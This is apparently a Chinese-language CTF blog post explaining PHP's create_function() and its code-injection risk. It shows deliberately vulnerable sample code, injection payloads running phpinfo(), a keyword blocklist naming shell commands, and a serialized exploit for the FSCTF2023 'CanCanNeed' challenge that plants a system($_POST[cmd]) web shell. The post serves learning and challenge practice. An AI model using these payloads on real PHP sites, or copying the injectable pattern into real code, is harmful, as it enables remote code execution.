php代码之create_function()函数

php代码之create_function()函数

NSS上随机到的一道看题目没什么思路,搜wp看到用到create_function()函数,搜索了解了一下。

create_function()简介

适用 PHP4>4.0.1 PHP 5 PHP7

语法:

1
2
3
4
5
create_function(string $args,  string $code)

string $args 声明的函数变量部分

string $code 执行的方法代码部分

函数功能:

1
2
3
4
5
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

分析:

create_function() 创造一个匿名函数 (lambda样式) 此处创建了一个叫 lamvda_1 的函数, 在第一个 echo 中 显示名字, 并在第二个echo 语句中执行了 此函数

create_function() 函数 会在内部 执行 eval() , 我们发现是执行了 后面的 return 语句,属于create_function() 中的第二个参数 string $code 的位置

因此,上述匿名函数的创建与执行过程等价于:

1
2
3
4
5
<?php
function lambda_1($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
}
?>

代码注入实例

0x01

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

简单看一下php代码,要传入一个GET参数赋值给$sort_by。然后定义$sorter的值是 'strnatcasecmp',这是PHP 的内置比较函数,用于自然排序、忽略大小写。比如传入image1和image10时,他会按照数序大小排列。

之后定义了一个数组,注意这个数字不含键值对,但是后面的代码会假设他是一个“有键的数组”。

$sort_function部分会通过拼接生成字符串。比如我们输入值为name,就会得到:

1
return 1 * strnatcasecmp($a["name"], $b["name"]);

但是如果我们传入恶意参数,比如

1
?sort_by=a"]);phpinfo();// 

那最终拼接的字符串就变成:

1
return 1 * strnatcasecmp($a["a"]);phpinfo();//"], $b["a"]);phpinfo();//"]);

PHP 会把这段代码交给 create_function 去执行(也就是usort一行),于是这段拼接的字符串被直接“注入”到了函数体里,造成任意代码执行漏洞

1
usort($databases, create_function('$a, $b', $sort_function));

上面提到,create_function() 会把第二个参数当作 PHP 代码编译成匿名函数。

也就是说,用户可控的 $sort_function 直接被当成php执行。

0x02

1
2
3
4
5
6
7
<?php
$c=$_GET['c'];
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
$array=array('reall long string here,boy','this','midding lenth','larget');
usort($array,$lambda);
print_r($array);
?>

我们可以看到,$lambda一行,排序构造部分(也就是之后要生成的匿名函数部分中$c是我们可控的),

payload:

1
?c=1));}phpinfo();/*

0x03(NSSCTF CanCanNeed )

point:反序列化 creat_function函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Noteasy{
protected $param1;
protected $param2;

function __destruct(){
$a=$this->param1;
$b=$this->param2;
if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b);
}
}

}
if (!isset($_GET['file'])){
show_source('index.php');
echo "Hi!Welcome to FSCTF2023!";
}
else{
$file=base64_decode($_GET['file']);
unserialize($file); }
?>
Hi!Welcome to FSCTF2023!

分析源代码,我们需要传入一个GET型参数file,参数经过base64解码之后赋值给$file,然后进行反序列化。反序列化过程会触发__destruct()魔术方法,这个魔术方法把$param1赋值给$a,$param2经过过滤之后赋值给$b,之后$a('', $b);

$a('', $b);:

$a 此时是个“可调用”(callable):通常是函数名的字符串、匿名函数(Closure),或者 [$obj, 'method'] 这样的数组。

'' 是传给这个可调用的第一个参数(一个空字符串字面量)。

$b第二个参数,值来自上面 $b = $this->param2;

wp中用到的思路是$param1= "create_function"; $param2="};system(\$_POST[cmd]);//"

通过反序列化实现赋值再通过creat_function匿名函数执行$param2的php代码

1
2
3
4
5
6
7
<?php 
class Noteasy{
protected $param1= "create_function";
protected $param2="};system(\$_POST[cmd]);//"; }
$a= new Noteasy();
echo base64_encode(serialize($a));
?>

解释一下$param2{ 的作用:

create_function($args, $code) 内部会 eval 一段模板代码,类似:

1
eval("function $lambda($args) { $code }");

所以第二个参数是用来闭合create_function() 生成的函数体的大括号 {

references

PHP代码 之create_function()函数_create function-CSDN博客

[NSSCTF第15页(3)_fsctf 2023]cancanneed-CSDN博客


php代码之create_function()函数
http://example.com/2025/10/18/php代码之create-function-函数/
作者
everythingis-ok
发布于
2025年10月18日
许可协议